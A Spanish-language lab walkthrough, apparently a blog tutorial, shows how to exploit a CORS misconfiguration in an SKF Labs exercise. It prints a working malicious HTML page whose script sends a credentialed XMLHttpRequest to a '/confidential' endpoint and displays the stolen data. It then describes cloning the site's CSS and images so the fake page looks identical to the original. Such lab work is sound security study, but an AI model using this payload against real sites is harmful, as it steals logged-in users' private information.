Intercambio de recursos de origen cruzado (CORS)

El Intercambio de recursos de origen cruzado (CORS) es un mecanismo que permite que un servidor web restrinja el acceso a recursos de diferentes orígenes, es decir, de diferentes dominios o protocolos. CORS se utiliza para proteger la privacidad y seguridad de los usuarios al evitar que otros sitios web accedan a información confidencial sin permiso.

Supongamos que tenemos una aplicación web en el dominio “example.com” que utiliza una API web en el dominio “api.example.com” para recuperar datos. Si la aplicación web está correctamente configurada para CORS, solo permitirá solicitudes de origen cruzado desde el dominio “example.com” a la API en el dominio “api.example.com“. Si se realiza una solicitud desde un dominio diferente, como “attacker.com“, la solicitud será bloqueada por el navegador web.

Empezamos esto lo haremos con un laboratorio de SFK Labs de Github.

Tenemos un panel de login donde las credenciales son admin admin.

El usuario admin ya logueado el puede ver esta informacion que es privilegiada, el dominio aca es el localhost por el puerto 5000.

El original corre por el puerto 5000, la idea es traernos toda esta info privada nuestra web malicus.html que montaremos en breve.

<script>
	var req = new XMLHttpRequest();
	req.onload =reqListener;
	req.open('GET', 'http://localhost:5000/confidential', true);
	req.withCredentials = true;
	req.send();

	function reqListener(){
		document.getElementById("stoleInfo").innerHTML = req.responseText;
	}
</script>

<br>
<center><h1>Has sido hackeado, esta es la informacion que te eh robado</h1></center>

<p id="stoleInfo"></p>

Con este pequeño codigo lo haremos. Ahora lo explico.

function reqListener(){
    document.getElementById("stoleInfo").innerHTML = req.responseText;
}

Esta función se ejecuta cuando la solicitud se complete con éxito. Toma la respuesta de la solicitud (req.responseText) y la inserta en el elemento HTML con el ID "stoleInfo".

req.open('GET', 'http://localhost:5000/confidential', true);

• open: Abre la conexión con el servidor. Aquí se especifica que es una solicitud GET a la URL 'http://localhost:5000/confidential' y que la solicitud es asíncrona (el tercer parámetro true indica que es asíncrona).

req.withCredentials = true;

Establece que se deben incluir las credenciales (como cookies) en la solicitud. Esto es importante si el servidor requiere autenticación.

1. req.send();

   Inicia la solicitud y envía la petición al servidor.

2. El código HTML después de la etiqueta <script> muestra un mensaje que indica que la página ha sido hackeada y presenta la información robada en un elemento con el ID "stoleInfo". La información se mostrará después de que la solicitud se complete y la función reqListener se ejecute.

Nos compartimos un servidor con python3 por el puerto 80.

Observamos la pagina original a la izquierda y la falsa a la derecha y como podemos ver nos estamos robando elementos de la original.

La info de la pagina original de la izquierda esta en nuestra pagina falsa al lado derecho. Solo que nuestra web falsa no tiene CSS ni flow como la original.

Bueno lo que haremos sera traer los recursos de la web original como el css imagenes y etc para que los cargue nuestra pagina web fake. En las solicitudes que recive nuestro servidor python3 podemos ver la ruta de lo que queremos.

Estando en el mismo directorio pues creamos el almacenamiento para los recursos que necesitaremos.

Ahora nos lo descargamos uno a uno, css en css, images donde deben ir y listo.

Si observamos de manera recursiva podemos ver que ya tenemos todos los elementos de la web los tenemos en local en el mismo directorio donde tenemos a nuestro malicius.html.

Ahora la web la de nosotros la fake deberia de cargar muy bien todos los elementos de la original.

La pestaña uno tenemos la original en la dos tenemos la fake y observamos que nos carga identica a la original y asi hemos robado algo de informacion.